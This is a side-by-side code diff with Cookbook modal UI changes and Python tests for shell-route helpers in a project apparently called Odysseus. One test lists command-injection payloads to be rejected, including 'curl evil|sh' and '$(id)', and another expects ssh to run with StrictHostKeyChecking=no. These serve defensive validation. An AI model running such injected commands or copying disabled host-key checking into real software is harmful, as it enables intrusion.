+ '<a href="https://github.com/pewdiepie-archdaemon/odysseus/discussions/1962" target="_blank" rel="noopener" style="color:var(--accent,var(--red));text-decoration:none;display:inline-flex;align-items:center;gap:4px;vertical-align:middle;">' + '<a href="https://github.com/pewdiepie-archdaemon/odysseus/discussions/1962" target="_blank" rel="noopener" style="color:var(--accent,var(--red));text-decoration:none;display:inline-flex;align-items:center;gap:4px;vertical-align:middle;">'
+ 'Request it →' + 'Request it →'
+ '<svg width="11" height="11" viewBox="0 0 16 16" fill="currentColor" aria-hidden="true" style="flex-shrink:0;"><path d="M8 0C3.58 0 0 3.58 0 8a8 8 0 0 0 5.47 7.59c.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>' + '<svg width="11" height="11" viewBox="0 0 16 16" fill="currentColor" aria-hidden="true" style="flex-shrink:0;"><path d="M8 0C3.58 0 0 3.58 0 8a8 8 0 0 0 5.47 7.59c.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>'
+ '</a>' + '</a>'
+ '</div>'; + '</div>';
html += '</div></div>'; html += '</div></div>';
@@ -1883,7 +1924,7 @@ function _renderRecipes() {
html += '<div style="display:flex;align-items:baseline;gap:8px;margin-bottom:2px;margin-top:-4px;">'; html += '<div style="display:flex;align-items:baseline;gap:8px;margin-bottom:2px;margin-top:-4px;">';
html += '<h2 style="margin:0;padding:0;line-height:1;">Servers</h2>'; html += '<h2 style="margin:0;padding:0;line-height:1;">Servers</h2>';
// Reuse the calendar +New pill: spinning plus, label fades in idea uses // Reuse the calendar +New pill: spinning plus, label fades in idea uses
// the same `.cal-add-btn-text` rules, so styling stays consistent. // the same `.cal-add-btn-text` rules, so styling stays consistent.
html += '<button class="cal-add-btn cal-add-btn-text" id="cookbook-server-add" title="Add server" style="margin-left:auto;"><span class="cal-add-plus">+</span><span class="cal-add-label">Add</span></button>'; html += '<button class="cal-add-btn cal-add-btn-text" id="cookbook-server-add" title="Add server" style="margin-left:auto;"><span class="cal-add-plus">+</span><span class="cal-add-label">Add</span></button>';
html += '</div>'; html += '</div>';
html += '<p class="memory-desc doclib-desc">Configure SSH servers, install Odysseus keys, choose model directories, and set the default server. Local is this machine.</p>'; html += '<p class="memory-desc doclib-desc">Configure SSH servers, install Odysseus keys, choose model directories, and set the default server. Local is this machine.</p>';
@@ -1979,73 +2020,73 @@ export async function open(opts) {
} }
_setCookbookOpening(true); _setCookbookOpening(true);
try { try {
// Invalidate any pending close() animation handlers so they won't re-hide us // Invalidate any pending close() animation handlers so they won't re-hide us
_closeGen++; _closeGen++;
// Clear any leftover inline styles from a previous swipe-dismiss or close animation // Clear any leftover inline styles from a previous swipe-dismiss or close animation
const _content = modal.querySelector('.modal-content'); const _content = modal.querySelector('.modal-content');
if (_content) { if (_content) {
_content.classList.remove('modal-closing', 'sheet-ready', 'cookbook-modal-entering'); _content.classList.remove('modal-closing', 'sheet-ready', 'cookbook-modal-entering');
_content.style.transform = ''; _content.style.transform = '';
_content.style.transition = ''; _content.style.transition = '';
_content.style.animation = ''; _content.style.animation = '';
_content.style.opacity = ''; _content.style.opacity = '';
}
modal.style.display = '';
Modals.register('cookbook-modal', {
railBtnId: 'rail-cookbook',
sidebarBtnId: 'tool-cookbook-btn',
closeFn: () => _doClose(),
restoreFn: () => { _renderRunningTab(); },
});
_wireCookbookDrag(modal);
await _syncFromServer();
// `_syncFromServer` lives in cookbookRunning.js and populates *its* _envState
// (a different object reference than this module's), then mirrors the merged
// state to localStorage. So ALWAYS hydrate our _envState from that mirror —
// on a successful sync it holds the freshly-fetched servers; on failure it
// holds the last-known state. Gating this on `!synced` left the render's
// _envState empty whenever sync succeeded → "servers don't show".
try { Object.assign(_envState, _readStoredEnvState()); } catch {}
// Honour a user-set default server: always land on it when Cookbook opens, so
// every dropdown (scan/download/serve/cache/deps) starts on the same machine.
if (_envState.defaultServer) {
const _dk = _envState.defaultServer;
if (_dk === 'local') {
_envState.remoteHost = ''; _envState.env = 'none'; _envState.envPath = ''; _envState.platform = '';
} else {
const _ds = (_envState.servers || []).find(s => s.host === _dk);
if (_ds) { _envState.remoteHost = _ds.host; _envState.env = _ds.env || 'none'; _envState.envPath = _ds.envPath || ''; _envState.platform = _ds.platform || ''; }
} }
} modal.style.display = '';
// Re-render on every open AFTER sync so the freshly-fetched state (servers, Modals.register('cookbook-modal', {
// HF token, presets) is always reflected. Gating this to once-per-page used railBtnId: 'rail-cookbook',
// to freeze a stale/empty servers list whenever the first sync raced or sidebarBtnId: 'tool-cookbook-btn',
// returned before hydration — and since close/reopen doesn't reset the page, closeFn: () => _doClose(),
// only a full reload recovered it. Re-rendering is cheap and the in-progress restoreFn: () => { _renderRunningTab(); },
// Running tab is rendered separately just below. });
_renderRecipes(); _wireCookbookDrag(modal);
_rendered = true; await _syncFromServer();
_clearCookbookNotif(); // `_syncFromServer` lives in cookbookRunning.js and populates *its* _envState
_renderRunningTab(); // (a different object reference than this module's), then mirrors the merged
// Self-heal: revive any download tasks whose tmux session is still alive // state to localStorage. So ALWAYS hydrate our _envState from that mirror —
// but were persisted as done/error (covers the "restarted server while a // on a successful sync it holds the freshly-fetched servers; on failure it
// big multi-shard download was in flight" case — the task survived in // holds the last-known state. Gating this on `!synced` left the render's
// tmux, the cookbook just lost track of it). // _envState empty whenever sync succeeded → "servers don't show".
try { _selfHealStaleTasks({ oneShot: true }); } catch {} try { Object.assign(_envState, _readStoredEnvState()); } catch { }
if (_content) { // Honour a user-set default server: always land on it when Cookbook opens, so
// Put the panel in its entering state before it becomes visible. On // every dropdown (scan/download/serve/cache/deps) starts on the same machine.
// mobile, showing first and adding the class a frame later can paint the if (_envState.defaultServer) {
// sheet at its final position, which makes the slide-up look like a snap. const _dk = _envState.defaultServer;
_content.classList.add('cookbook-modal-entering'); if (_dk === 'local') {
} _envState.remoteHost = ''; _envState.env = 'none'; _envState.envPath = ''; _envState.platform = '';
modal.classList.remove('hidden'); } else {
if (_content) { const _ds = (_envState.servers || []).find(s => s.host === _dk);
void _content.offsetWidth; if (_ds) { _envState.remoteHost = _ds.host; _envState.env = _ds.env || 'none'; _envState.envPath = _ds.envPath || ''; _envState.platform = _ds.platform || ''; }
_content.addEventListener('animationend', () => { }
_content.classList.remove('cookbook-modal-entering'); }
}, { once: true }); // Re-render on every open AFTER sync so the freshly-fetched state (servers,
} // HF token, presets) is always reflected. Gating this to once-per-page used
setTimeout(_applyIntent, 0); // to freeze a stale/empty servers list whenever the first sync raced or
// returned before hydration — and since close/reopen doesn't reset the page,
// only a full reload recovered it. Re-rendering is cheap and the in-progress
// Running tab is rendered separately just below.
_renderRecipes();
_rendered = true;
_clearCookbookNotif();
_renderRunningTab();
// Self-heal: revive any download tasks whose tmux session is still alive
// but were persisted as done/error (covers the "restarted server while a
// big multi-shard download was in flight" case — the task survived in
// tmux, the cookbook just lost track of it).
try { _selfHealStaleTasks({ oneShot: true }); } catch { }
if (_content) {
// Put the panel in its entering state before it becomes visible. On
// mobile, showing first and adding the class a frame later can paint the
// sheet at its final position, which makes the slide-up look like a snap.
_content.classList.add('cookbook-modal-entering');
}
modal.classList.remove('hidden');
if (_content) {
void _content.offsetWidth;
_content.addEventListener('animationend', () => {
_content.classList.remove('cookbook-modal-entering');
}, { once: true });
}
setTimeout(_applyIntent, 0);
} finally { } finally {
_setCookbookOpening(false); _setCookbookOpening(false);
} }
+131 -34
View File
@@ -1,6 +1,7 @@
"""Tests for shell_routes.py helpers.""" """Tests for shell_routes.py helpers."""
import builtins import builtins
import importlib
import importlib.util import importlib.util
import json import json
import os import os
@@ -39,7 +40,9 @@ def test_shell_routes_import_without_posix_pty_modules(monkeypatch):
cached_modules = {name: sys.modules.pop(name, None) for name in ("fcntl", "pty")} cached_modules = {name: sys.modules.pop(name, None) for name in ("fcntl", "pty")}
module_path = Path(__file__).resolve().parents[1] / "routes" / "shell_routes.py" module_path = Path(__file__).resolve().parents[1] / "routes" / "shell_routes.py"
spec = importlib.util.spec_from_file_location("_shell_routes_without_pty", module_path) spec = importlib.util.spec_from_file_location(
"_shell_routes_without_pty", module_path
)
module = importlib.util.module_from_spec(spec) module = importlib.util.module_from_spec(spec)
sys.modules[spec.name] = module sys.modules[spec.name] = module
try: try:
@@ -59,7 +62,9 @@ async def test_generate_pty_reports_explicit_unsupported_error(monkeypatch):
import routes.shell_routes as shell_routes import routes.shell_routes as shell_routes
monkeypatch.setattr(shell_routes, "PTY_SUPPORTED", False) monkeypatch.setattr(shell_routes, "PTY_SUPPORTED", False)
monkeypatch.setattr(shell_routes, "_PTY_IMPORT_ERROR", ImportError("No module named 'termios'")) monkeypatch.setattr(
shell_routes, "_PTY_IMPORT_ERROR", ImportError("No module named 'termios'")
)
request = SimpleNamespace(is_disconnected=lambda: False) request = SimpleNamespace(is_disconnected=lambda: False)
events = [ events = [
@@ -123,29 +128,76 @@ class TestRunningInContainer:
def test_dockerenv_marker_present(self, tmp_path): def test_dockerenv_marker_present(self, tmp_path):
marker = tmp_path / ".dockerenv" marker = tmp_path / ".dockerenv"
marker.write_text("") marker.write_text("")
assert _running_in_container( assert (
dockerenv_path=str(marker), cgroup_path=str(tmp_path / "missing"), _running_in_container(
) is True dockerenv_path=str(marker),
cgroup_path=str(tmp_path / "missing"),
)
is True
)
def test_cgroup_names_a_container_runtime(self, tmp_path): def test_cgroup_names_a_container_runtime(self, tmp_path):
cgroup = tmp_path / "cgroup" cgroup = tmp_path / "cgroup"
cgroup.write_text("12:devices:/docker/abcdef0123456789\n") cgroup.write_text("12:devices:/docker/abcdef0123456789\n")
assert _running_in_container( assert (
dockerenv_path=str(tmp_path / "no-marker"), cgroup_path=str(cgroup), _running_in_container(
) is True dockerenv_path=str(tmp_path / "no-marker"),
cgroup_path=str(cgroup),
)
is True
)
def test_bare_host_has_neither_signal(self, tmp_path): def test_bare_host_has_neither_signal(self, tmp_path):
cgroup = tmp_path / "cgroup" cgroup = tmp_path / "cgroup"
cgroup.write_text("0::/user.slice/session-1.scope\n") cgroup.write_text("0::/user.slice/session-1.scope\n")
assert _running_in_container( assert (
dockerenv_path=str(tmp_path / "no-marker"), cgroup_path=str(cgroup), _running_in_container(
) is False dockerenv_path=str(tmp_path / "no-marker"),
cgroup_path=str(cgroup),
)
is False
)
def test_missing_cgroup_file_is_not_a_container(self, tmp_path): def test_missing_cgroup_file_is_not_a_container(self, tmp_path):
assert _running_in_container( assert (
dockerenv_path=str(tmp_path / "no-marker"), _running_in_container(
cgroup_path=str(tmp_path / "also-missing"), dockerenv_path=str(tmp_path / "no-marker"),
) is False cgroup_path=str(tmp_path / "also-missing"),
)
is False
)
class TestAppleSiliconDetection:
"""APFEL should only surface as available on native Apple Silicon Macs."""
def test_reports_true_on_macos_arm64(self, monkeypatch):
import core.platform_compat as platform_compat
monkeypatch.setattr(platform_compat.platform, "system", lambda: "Darwin")
monkeypatch.setattr(platform_compat.platform, "machine", lambda: "arm64")
importlib.reload(platform_compat)
assert platform_compat.IS_APPLE_SILICON is True
@pytest.mark.parametrize("machine", ["x86_64", "amd64"])
def test_reports_false_off_apple_silicon(self, monkeypatch, machine):
import core.platform_compat as platform_compat
monkeypatch.setattr(platform_compat.platform, "system", lambda: "Darwin")
monkeypatch.setattr(platform_compat.platform, "machine", lambda: machine)
importlib.reload(platform_compat)
assert platform_compat.IS_APPLE_SILICON is False
def test_reports_false_on_non_macos(self, monkeypatch):
import core.platform_compat as platform_compat
monkeypatch.setattr(platform_compat.platform, "system", lambda: "Linux")
monkeypatch.setattr(platform_compat.platform, "machine", lambda: "arm64")
importlib.reload(platform_compat)
assert platform_compat.IS_APPLE_SILICON is False
class TestDockerRowStatus: class TestDockerRowStatus:
@@ -155,35 +207,50 @@ class TestDockerRowStatus:
def test_in_container_and_absent_is_not_applicable_with_safe_default_hint(self): def test_in_container_and_absent_is_not_applicable_with_safe_default_hint(self):
status = _docker_row_status( status = _docker_row_status(
on_remote=False, in_container=True, installed=False, default_hint=self.DEFAULT, on_remote=False,
in_container=True,
installed=False,
default_hint=self.DEFAULT,
) )
assert status.applicable is False assert status.applicable is False
assert status.install_hint == DOCKER_IN_CONTAINER_HINT assert status.install_hint == DOCKER_IN_CONTAINER_HINT
def test_in_container_but_present_is_applicable_with_default_hint(self): def test_in_container_but_present_is_applicable_with_default_hint(self):
status = _docker_row_status( status = _docker_row_status(
on_remote=False, in_container=True, installed=True, default_hint=self.DEFAULT, on_remote=False,
in_container=True,
installed=True,
default_hint=self.DEFAULT,
) )
assert status.applicable is True assert status.applicable is True
assert status.install_hint == self.DEFAULT assert status.install_hint == self.DEFAULT
def test_on_host_and_absent_stays_applicable_with_default_hint(self): def test_on_host_and_absent_stays_applicable_with_default_hint(self):
status = _docker_row_status( status = _docker_row_status(
on_remote=False, in_container=False, installed=False, default_hint=self.DEFAULT, on_remote=False,
in_container=False,
installed=False,
default_hint=self.DEFAULT,
) )
assert status.applicable is True assert status.applicable is True
assert status.install_hint == self.DEFAULT assert status.install_hint == self.DEFAULT
def test_remote_server_is_always_applicable_even_when_absent(self): def test_remote_server_is_always_applicable_even_when_absent(self):
status = _docker_row_status( status = _docker_row_status(
on_remote=True, in_container=False, installed=False, default_hint=self.DEFAULT, on_remote=True,
in_container=False,
installed=False,
default_hint=self.DEFAULT,
) )
assert status.applicable is True assert status.applicable is True
assert status.install_hint == self.DEFAULT assert status.install_hint == self.DEFAULT
def test_remote_server_ignores_local_container_status(self): def test_remote_server_ignores_local_container_status(self):
status = _docker_row_status( status = _docker_row_status(
on_remote=True, in_container=True, installed=False, default_hint=self.DEFAULT, on_remote=True,
in_container=True,
installed=False,
default_hint=self.DEFAULT,
) )
assert status.applicable is True assert status.applicable is True
assert status.install_hint == self.DEFAULT assert status.install_hint == self.DEFAULT
@@ -226,7 +293,10 @@ class TestPackageProbeStatus:
assert _package_installed_from_probe("vllm", probe) is True assert _package_installed_from_probe("vllm", probe) is True
assert "python package: vllm 0.8.5" in _package_status_note("vllm", probe) assert "python package: vllm 0.8.5" in _package_status_note("vllm", probe)
assert _package_pip_update_status({"name": "vllm", "pip": "vllm"}, probe).available is True assert (
_package_pip_update_status({"name": "vllm", "pip": "vllm"}, probe).available
is True
)
def test_vllm_cli_without_dist_is_external_for_update(self): def test_vllm_cli_without_dist_is_external_for_update(self):
probe = { probe = {
@@ -250,18 +320,35 @@ class TestPackageProbeStatus:
assert _package_installed_from_probe("llama_cpp", probe) is True assert _package_installed_from_probe("llama_cpp", probe) is True
assert "native llama-server" in _package_status_note("llama_cpp", probe) assert "native llama-server" in _package_status_note("llama_cpp", probe)
status = _package_pip_update_status({"name": "llama_cpp", "pip": "llama-cpp-python[server]"}, probe) status = _package_pip_update_status(
{"name": "llama_cpp", "pip": "llama-cpp-python[server]"}, probe
)
assert status.available is False assert status.available is False
assert "package manager or source checkout" in status.note assert "package manager or source checkout" in status.note
def test_apfel_does_not_use_generic_outside_odysseus_note(self):
status = _package_pip_update_status(
{"name": "APFEL", "pip": "", "update_cmd": "brew upgrade apfel"},
{"binaries": {}, "dists": {}, "modules": {}},
)
assert status.available is False
assert "Update this system dependency outside Odysseus." not in status.note
def test_diffusers_requires_torch_too(self): def test_diffusers_requires_torch_too(self):
missing_torch = { missing_torch = {
"modules": {"diffusers": {"found": True, "real_module": True}, "torch": {"found": False}}, "modules": {
"diffusers": {"found": True, "real_module": True},
"torch": {"found": False},
},
"dists": {"diffusers": "0.37.0"}, "dists": {"diffusers": "0.37.0"},
"binaries": {}, "binaries": {},
} }
ready = { ready = {
"modules": {"diffusers": {"found": True, "real_module": True}, "torch": {"found": True, "real_module": True}}, "modules": {
"diffusers": {"found": True, "real_module": True},
"torch": {"found": True, "real_module": True},
},
"dists": {"diffusers": "0.37.0", "torch": "2.10.0"}, "dists": {"diffusers": "0.37.0", "torch": "2.10.0"},
"binaries": {}, "binaries": {},
} }
@@ -293,7 +380,11 @@ class TestPackageProbeStatus:
class TestSshBaseArgv: class TestSshBaseArgv:
def test_basic_host_no_port(self): def test_basic_host_no_port(self):
assert _ssh_base_argv("user@example.com", None) == [ assert _ssh_base_argv("user@example.com", None) == [
"ssh", "-o", "ConnectTimeout=6", "-o", "StrictHostKeyChecking=no", "ssh",
"-o",
"ConnectTimeout=6",
"-o",
"StrictHostKeyChecking=no",
"user@example.com", "user@example.com",
] ]
@@ -329,16 +420,21 @@ class TestVenvActivatePrefix:
assert _venv_activate_prefix("~/venv") == ". ~/venv/bin/activate && " assert _venv_activate_prefix("~/venv") == ". ~/venv/bin/activate && "
def test_already_pointing_at_activate(self): def test_already_pointing_at_activate(self):
assert _venv_activate_prefix("/opt/v/bin/activate") == ". /opt/v/bin/activate && " assert (
_venv_activate_prefix("/opt/v/bin/activate") == ". /opt/v/bin/activate && "
)
@pytest.mark.parametrize("bad", [ @pytest.mark.parametrize(
"/opt/v && curl evil|sh", "bad",
"$(id)", [
"`id`", "/opt/v && curl evil|sh",
"v;id", "$(id)",
"v\nid", "`id`",
"v|id", "v;id",
]) "v\nid",
"v|id",
],
)
def test_injection_payloads_rejected(self, bad): def test_injection_payloads_rejected(self, bad):
with pytest.raises(ValueError): with pytest.raises(ValueError):
_venv_activate_prefix(bad) _venv_activate_prefix(bad)
@@ -351,6 +447,7 @@ class TestRejectCrossSite:
def test_cross_site_rejected(self): def test_cross_site_rejected(self):
from fastapi import HTTPException from fastapi import HTTPException
with pytest.raises(HTTPException) as exc: with pytest.raises(HTTPException) as exc:
_reject_cross_site(self._req({"sec-fetch-site": "cross-site"})) _reject_cross_site(self._req({"sec-fetch-site": "cross-site"}))
assert exc.value.status_code == 403 assert exc.value.status_code == 403